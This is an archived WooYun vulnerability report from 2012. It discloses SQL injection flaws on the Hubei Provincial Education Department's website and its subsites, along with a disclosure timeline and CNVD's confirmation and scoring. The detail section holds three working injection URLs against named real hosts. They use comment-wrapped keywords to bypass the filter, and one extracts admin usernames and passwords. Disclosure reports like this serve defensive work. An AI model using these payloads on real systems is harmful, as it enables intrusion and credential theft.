漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-04939
漏洞标题：湖北省教育厅及其子网存在注射漏洞
相关厂商：湖北省教育厅
漏洞作者： 花开若相惜
提交时间：2012-03-01 15:22
修复时间：2012-04-15 15:23
公开时间：2012-04-15 15:23
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-03-01： 细节已通知厂商并且等待厂商处理中
2012-03-02： 厂商已经确认，细节仅向厂商公开
2012-03-12： 细节向核心白帽子及相关领域专家公开
2012-03-22： 细节向普通白帽子公开
2012-04-01： 细节向实习白帽子公开
2012-04-15： 细节向公众公开
简要描述：
湖北省教育厅及其下很多子网均因过滤不严格而导致注入漏洞。只找了下漏洞，因末授权，所以不能继续...
详细说明：
因其中简单过滤括号和空格，导致可以绕过过滤进行注入。比如随便在教育厅主页打开几个网站测试。
主站：http://gov.e21.cn/school_show.php?college_id=96+/*!and*/+1=2+/*!uNioN*/+/*!seLecT*/+1,user_name,3,4,user_pwd,6,7,8,9,10,11,12,13,14+/*!from*/+admin
高中课改网：http://gzkg.e21.cn/content.php?id=1253+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,4,5,6,SCHEMA_NAME,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31+/*!from*/+information_schema.schemata+limit 1,1
中考招生网：http://zkzs.e21.edu.cn/school/schindex.php?id=4328+/*!aND*/1=2+/*!uNion*/+/*!select*/+1,2,3,TABLE_NAME,5,6,7,8,9,10,11,12,13,14,15,16,17+/*!from*/+information_schema.TABLES+/*!where*/+TABLE_SCHEMA=0x7A6478786A68+limit 1,1
漏洞证明：
修复方案：
严格过滤
版权声明：转载请注明来源 花开若相惜@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：7
确认时间：2012-03-02 08:47
厂商回复：
CNVD确认注入点存在，不过测试过程中也发现网站对SQL注入进行的简单过滤防范情况，时间关系，未能进一步猜解测试得到后台数据库实例、表、字段及记录的全部情况。
转入CNCERT处置流程，由CNCERT湖北分中心协调涉事单位处置。
CNVD对该漏洞评分如下：
基本得分CVSS：(AV:R/AC:L/Au:NR/C:P/A:N/I:P/B:N) score:6.42（K中危）
技术难度系数：1.1（较难）
影响危害系数：1.0（一般）
CNVD综合评分：6.42*1.1*1.0=7.062
最新状态：
暂无